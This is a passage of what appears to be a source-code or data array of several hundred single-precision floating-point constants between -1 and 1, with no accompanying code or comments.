-0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 